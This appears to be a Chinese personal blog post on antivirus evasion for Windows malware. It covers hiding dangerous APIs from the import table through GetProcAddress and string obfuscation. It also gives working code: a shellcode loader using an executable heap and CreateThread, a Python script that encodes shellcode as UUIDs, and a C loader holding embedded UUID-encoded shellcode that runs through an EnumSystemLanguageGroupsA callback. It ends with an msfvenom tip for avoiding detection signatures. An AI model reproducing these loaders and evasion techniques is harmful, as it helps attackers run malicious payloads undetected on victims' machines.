静态恶意代码逃逸3

静态恶意代码逃逸3

最近在学习从底层用C/C++去实现免杀,而看到了关于静态恶意代码逃逸的一些很好的文章,在此记录总结一下

调用自己函数隐藏导入表

Import Address Table(IAT)

在上一篇文章中,我们对于PE文件的结构有了一定的了解
而PE文件的导入表(IAT)将调用导入函数的指令和函数实际所处的地址联系起来(动态连接)
见而言之就是PE利用导入表来找外部函数地址

这里没找到原文中的工具,于是自己找了一个工具,用来查看程序中的导入表
IAT-dump

对于这个工具,也可能是自己没怎么接触过C++20,于是折腾了挺久才跑起来

根据main.cpp中的这一段代码可以知道,需要我们传一点参数进去
main.cpp

而对于main函数中传递参数int main(int argc, char** argv)
其中argc记录的是参数的个数,argv则是按顺序存储了传入的参数

那我们第一步先将调试模式改成release,这样编译后会存在一个iat-dump.exe
.\iat-dump.exe -file evil.exe
这样即可查看evil.exe的导入表(evil.exe得在当前目录下)

在找工具的时候,也发现了一个比较好玩的东西,不过还没仔细去看,先记录一下 https://github.com/fdgnneig/ShellProgram

获取函数地址

这个API在Kernel32.dll中有一个函数GetProcAddress被导出,主要功能是从一个加载的模块中获取函数的地址
其能返回一个我们需要找的函数的地址,我们就需要利用这个函数,来自己手动获取函数地址,这样就不会使危险的函数出现在IAT中
因为杀软会对导入表中的某些函数(例如VirtualAlloc函数基于可执行权限时,会直接报毒查杀)特别关注

我们定义一些函数指针来存放函数的地址
ImportVirtualAlloc MyVirtualAlloc = (ImportVirtualAlloc)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualAlloc");

编译通过后,自定义的函数时不会出现在导入表中的,这样就减少了文件特征

重载运算符

一般情况下,C/C++程序中的字符串常量会被硬编码到程序中(.data段,也就是数据段),尤其是全局变量最容易被定位到
于是想到使用重载运算符来将string重载,再进行编码等一系列操作
这里有个项目已经实现了,重载运算符的原理比较容易理解,就不做多叙述了
https://github.com/Rvn0xsy/Cooolis-ms

绕过DEP

什么是DEP

在Windows Xp SP2 之前的时代,缓冲区溢出漏洞利用门槛太低了,只要发现有缓冲区溢出漏洞,就可以直接稳定利用,攻击者只需要将Shellcode不断写入堆栈,然后覆盖函数返回地址,代码就可以在堆栈中执行。但堆栈的用途主要是保存寄存器现场,提供一个函数运行时的存储空间,极少数需要代码在堆栈中执行,于是微软为了缓解类似的情况,发明了DEP保护机制,用于限制某些内存页不具有可执行权限

绕过DEP

VirtualProtect这个API能够更改内存页的属性为可执行或不可执行,对于二进制漏洞利用来说,溢出的时候,把返回地址设计为VirtualProtect的地址,再精心构造一个栈为调用这个API的栈,就可以改变当前栈的内存页的属性,使其从”不可执行”变成”可执行”
由此说来,Shellcode执行其实也需要一个可执行的内存页,
于是我们找到了一个API HeapCreate可以在进程中创建辅助堆栈,并且能够设置堆栈的属性

1
2
3
4
HANDLE WINAPI HeapCreate(
__in DWORD flOptions,
__in SIZE_T dwInitialSize,
__in SIZE_T dwMaximumSize );

对于第一个参数

  1. HEAP_NO_SERIALIZE:对堆的访问是非独占的,如果一个线程没有完成对堆的操作,其它线程也可以进程堆操作,这个开关是非常危险的,应尽量避免使用
  2. HEAP_GENERATE_EXCEPTIONS:当堆分配内存失败时,会抛出异常。如果不设置,则返回NULL
  3. HEAP_CREATE_ENALBE_EXECUTE:堆中存放的内容是可以执行的代码。如果不设置,意味着堆中存放的是不可执行的数据
    我们的思路就是将shellcode存入到这个辅助进程中
    直接贴上示例代码
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    #include <iostream>
    #include <Windows.h>

    int main()
    {
    char shellcode[] = "123";

    HANDLE hHep = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, 0);

    PVOID Mptr = HeapAlloc(hHep, 0, sizeof(shellcode));

    RtlCopyMemory(Mptr, shellcode, sizeof(shellcode));
    DWORD dwThreadId = 0;
    HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)Mptr, NULL, NULL, &dwThreadId);
    WaitForSingleObject(hThread, INFINITE);

    std::cout << "Hello World!\n";
    }

Bin2UUID

这是通过唯一标识符(universally unique identifier, UUID)来存储shellcode,并使用CALL BACK函数的特性来加载Shellcode
这里直接贴上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from uuid import UUID
import os
import sys

# Usage: python3 binToUUIDs.py shellcode.bin [--print]

print("""
____ _ _______ _ _ _ _ _____ _____
| _ \(_) |__ __| | | | | | | |_ _| __ \
| |_) |_ _ __ | | ___ | | | | | | | | | | | | |___
| _ <| | '_ \| |/ _ \| | | | | | | | | | | | / __|
| |_) | | | | | | (_) | |__| | |__| |_| |_| |__| \__ \
|____/|_|_| |_|_|\___/ \____/ \____/|_____|_____/|___/
\n""")

with open(sys.argv[1], "rb") as f:
bin = f.read()

if len(sys.argv) > 2 and sys.argv[2] == "--print":
outputMapping = True
else:
outputMapping = False

offset = 0

print("Length of shellcode: {} bytes\n".format(len(bin)))

out = ""

while(offset < len(bin)):
countOfBytesToConvert = len(bin[offset:])
if countOfBytesToConvert < 16:
ZerosToAdd = 16 - countOfBytesToConvert
byteString = bin[offset:] + (b'\x00'* ZerosToAdd)
uuid = UUID(bytes_le=byteString)
else:
byteString = bin[offset:offset+16]
uuid = UUID(bytes_le=byteString)
offset+=16

out += "\"{}\",\n".format(uuid)

if outputMapping:
print("{} -> {}".format(byteString, uuid))

with open(sys.argv[1] + "UUIDs", "w") as f:
f.write(out)

print("Outputted to: {}".format(sys.argv[1] + "UUIDs"))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <Windows.h>
#include <rpc.h>
#pragma comment(lib,"Rpcrt4.lib")

const char * buf[] = {
"4baf01bd-dbdd-d9de-7424-f45a33c9b131",
"83136a31-04c2-6a03-0e4d-be21f81341da",
"3fcb73f8-b3c9-34af-7904-bb1975efe989",
"bd259d0e-28a7-f010-3800-6093ba5bb573",
"72c89383-cec4-2621-9d85-94d7aad02453",
"802cf5e0-f4b0-171d-cbae-bd9918dbf781",
"394ee67d-9cb5-eb50-845d-fed229acfe13",
"6a754f8d-f2ee-a98e-8d28-1a2a35babc96",
"5c5a6fc4-c4ca-3a28-cedb-fd30ea500097",
"3327227b-f020-6246-8c57-76746f07d2fe",
"5d6f5c9d-a3cb-dbfd-b9a4-fde3edcccc68",
"bad08a62-64c7-e79b-61ed-4272307075a8",
"59f68d76-6a06-2be6-0336-a0c0792745e7",
"844c482e-dab1-650c-545b-b67900000000"
};


int main(int argc, char* argv[]) {

int dwNum = sizeof(buf) / sizeof(buf[0]);

HANDLE hMemory = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, 0);
if (hMemory == NULL) {
return -1;
}
PVOID pMemory = HeapAlloc(hMemory, 0, 1024);

DWORD_PTR CodePtr = (DWORD_PTR)pMemory;

for (size_t i = 0; i < dwNum; i++)
{
if (CodePtr == NULL) {
break;
}
RPC_STATUS status = UuidFromStringA(RPC_CSTR(buf[i]), (UUID*)CodePtr);
if (status != RPC_S_OK) {

return -1;
}
CodePtr += 16;
}

if (pMemory == NULL) {
return -1;
}
if (EnumSystemLanguageGroupsA((LANGUAGEGROUP_ENUMPROCA)pMemory, LGRPID_INSTALLED, NULL) == FALSE) {
// 加载成功
return 0;
}
return 0;
}

成功执行

记录一个新学的点,msfvenom生成木马时,可以用-b去避免所生成的shell中包含的字符
通常是-b ‘\xfc\xe8’或者-b ‘\x00’来减小msf码的文件特征


静态恶意代码逃逸3
https://glacierrrr.online/2022/10/20/静态恶意代码逃逸3/
作者
Glacier
发布于
2022年10月20日
许可协议